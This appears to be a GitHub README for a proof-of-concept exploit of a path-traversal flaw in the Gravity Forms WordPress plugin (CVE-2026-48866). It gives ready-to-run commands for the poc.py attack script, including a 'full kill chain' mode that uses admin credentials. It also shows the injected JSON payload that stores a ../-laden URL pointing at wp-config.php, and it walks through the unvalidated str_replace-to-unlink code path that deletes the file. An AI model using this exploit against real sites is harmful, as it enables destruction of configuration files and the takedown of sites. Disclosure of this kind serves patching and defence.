
CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6)
┌───────────────────────────────────────────────────────────┐
│ │
│ C V E - 2 0 2 6 - 4 8 8 6 6 │
│ │
│ Gravity Forms Path Traversal → Arbitrary File Deletion │
│ │
└───────────────────────────────────────────────────────────┘
gform_uploaded_files accepts ../ in URLs. An admin's delete click triggers arbitrary file deletion.
NVD • Patchstack • Patched Commit • Source Mirror
|
Exploit |
Defense |
┌─────────────────────────────────────────────────────────────────────┐
│ REQUIREMENTS │
│ ─────────────────────────────────────────────────────────────── │
│ Target WordPress + Gravity Forms ≤ 2.10.0.1 │
│ Form Public form with a file upload field │
│ Python 3.8+ with requests │
│ Auth None (injection) / Admin creds (trigger) │
└─────────────────────────────────────────────────────────────────────┘
git clone https://github.com/0xABCD01/CVE-2026-48866.git
cd CVE-2026-48866
pip install requests
# Inject only (unauthenticated — file dies when admin cleans entries)
python3 poc.py -t https://test.com -f 1 -i 3
# Full kill chain (admin creds provided — immediate deletion)
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'
┌───────────────────────────────────────────────────────────────────────┐
│ PHASE 1 — INJECTION │
│ (Unauthenticated — any visitor) │
├───────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ POST gform_uploaded_files ┌──────────────────┐ │
│ │ Attacker │ ──────────────────────────────── │ WordPress AJAX │ │
│ └─────────┘ {"input_3": [{"url": │ admin-ajax.php │ │
│ ".../../../../wp-config.php"}] └────────┬─────────┘ │
│ │ │
│ esc_url_raw() → OK (doesn't strip ../) │ │
│ is_valid_url() → OK (../ is valid URL) │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ wp_postmeta │ │
│ │ (entry stored │ │
│ │ WITH ../) │ │
│ └────────┬─────────┘ │
└──────────────────────────────────────────────────────────┼────────────┘
│
┌─────────────────────────────┘
│ (hours, days, or weeks pass...)
▼
┌───────────────────────────────────────────────────────────────────────┐
│ PHASE 2 — DELETION │
│ (Admin deletes entry — routine cleanup) │
├───────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ delete_entry(42) ┌──────────────────┐ │
│ │ Admin │ ──────────────────────────────── │ Gravity Forms │ │
│ └─────────┘ └────────┬─────────┘ │
│ │ │
│ get_physical_file_path() │ │
│ str_replace(url_base → path_base) │ │
│ ../ SURVIVES in the path │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ unlink() │ │
│ │ │ │
│ │ /var/www/html/ │ │
│ │ wp-config.php │ │
│ │ → DELETED │ │
│ └──────────────────┘ │
└───────────────────────────────────────────────────────────────────────┘
// forms_model.php — get_physical_file_path()
// Converts stored URL to filesystem path via string replacement
$path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id );
$file_path = str_replace(
trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/
trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/
$url // .../gravity_forms/../../../wp-config.php
);
// Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php
// OS resolves ../../../ → /var/www/html/wp-config.php
No check exists between str_replace() and unlink(). The bug lives in that gap.